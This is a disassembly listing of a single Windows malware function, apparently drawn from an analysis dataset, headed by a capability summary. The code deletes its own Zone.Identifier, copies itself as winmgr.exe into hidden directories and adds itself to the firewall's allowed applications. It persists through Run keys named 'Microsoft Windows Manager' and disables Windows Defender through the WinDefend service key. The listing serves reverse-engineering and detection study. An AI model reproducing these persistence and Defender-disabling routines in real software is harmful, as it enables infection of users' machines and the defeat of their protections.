Function at 0x405040
Capabilities:
Bypass mark of the web
Check if file exists
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create directory
Delete file
Persist via run registry key
Persist via windows service
Query environment variable
Set file attributes
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x658
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
call section..text
movzx eax, al
test eax, eax
je 0x40506d
call fcn.00403d40
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x409788
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0x53c], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x405097
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x104
push 0
lea ecx, [ebp - 0x318]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
lea edx, [ebp - 0x420]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
lea eax, [ebp - 0x318]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x318]
push ecx
push str._s:Zone.Identifier
push 0x104
lea edx, [ebp - 0x420]
push edx
call sub.MSVCRT.dll__snprintf
add esp, 0x10
lea eax, [ebp - 0x420]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [ebp - 0x42c], str._windir_
mov dword [ebp - 0x428], str._userprofile_
mov dword [ebp - 0x424], str._temp_
mov dword [ebp - 0x540], 0
jmp 0x40513d
mov ecx, dword [ebp - 0x540]
add ecx, 1
mov dword [ebp - 0x540], ecx
cmp dword [ebp - 0x540], 3
jae 0x405247
push 0x104
push 0
lea edx, [ebp - 0x210]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
lea ecx, [ebp - 0x538]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
lea edx, [ebp - 0x210]
push edx
mov eax, dword [ebp - 0x540]
mov ecx, dword [ebp + eax*4 - 0x42c]
push ecx
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea edx, [ebp - 0x210]
push edx
push str._sM_505057502880720475260382745030
push 0x104
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll__snprintf
add esp, 0x10
push str.winmgr.exe
lea ecx, [ebp - 0x108]
push ecx
push str._s_s
push 0x104
lea edx, [ebp - 0x538]
push edx
call sub.MSVCRT.dll__snprintf
add esp, 0x14
lea eax, [ebp - 0x538]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x405206
jmp 0x405247
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x405226
push 0
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
lea eax, [ebp - 0x538]
push eax
lea ecx, [ebp - 0x318]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x405242
jmp 0x405247
jmp 0x40512e
lea edx, [ebp - 0x538]
push edx
lea eax, [ebp - 0x318]
push eax
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
je 0x40547d
mov dword [ebp - 0x654], 0
mov dword [ebp - 0x544], 4
push 0x104
push 0
lea ecx, [ebp - 0x650]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.Microsoft_Windows_Manager
lea edx, [ebp - 0x538]
push edx
push str._s::Enabled:_s
push 0x104
lea eax, [ebp - 0x650]
push eax
call sub.MSVCRT.dll__snprintf
add esp, 0x14
push 7
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 7
lea edx, [ebp - 0x538]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x654]
push eax
push 0xf003f
push 0
push str.SYSTEMCurrentControlSetServicesSharedAccessParametersFirewallPolicyStandardProfileAuthorizedApplicationsList
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x405330
lea ecx, [ebp - 0x650]
push ecx
call sub.MSVCRT.dll_strlen
add esp, 4
push eax
lea edx, [ebp - 0x650]
push edx
push 1
push 0
lea eax, [ebp - 0x538]
push eax
mov ecx, dword [ebp - 0x654]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x654]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x654]
push eax
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun_
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40538c
lea ecx, [ebp - 0x538]
push ecx
call sub.MSVCRT.dll_strlen
add esp, 4
push eax
lea edx, [ebp - 0x538]
push edx
push 1
push 0
push str.Microsoft_Windows_Manager
mov eax, dword [ebp - 0x654]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0x654]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0x654]
push edx
push 0xf003f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun_
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4053e8
lea eax, [ebp - 0x538]
push eax
call sub.MSVCRT.dll_strlen
add esp, 4
push eax
lea ecx, [ebp - 0x538]
push ecx
push 1
push 0
push str.Microsoft_Windows_Manager
mov edx, dword [ebp - 0x654]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x654]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x654]
push ecx
push 0xf003f
push 0
push str.SYSTEMCurrentControlSet_servicesWinDefend_
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x405436
push 4
lea edx, [ebp - 0x544]
push edx
push 4
push 0
push str.Start
mov eax, dword [ebp - 0x654]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0x654]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0x318]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
mov dword [ebp - 0x658], eax
push str.DeviceConfigManager.exe
mov eax, dword [ebp - 0x658]
push eax
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
je 0x405466
call fcn.00403d40
lea ecx, [ebp - 0x538]
push ecx
call fcn.00403a30
add esp, 4
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0
push 0
push 0x402cf0
call fcn.004040b0
add esp, 0xc
push 0
push 0
push 0x4032a0
call fcn.004040b0
add esp, 0xc
push 0
push 0
push 0x401490
call fcn.004040b0
add esp, 0xc
push 1
push 0
push 0x405000
call fcn.004040b0
add esp, 0xc
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10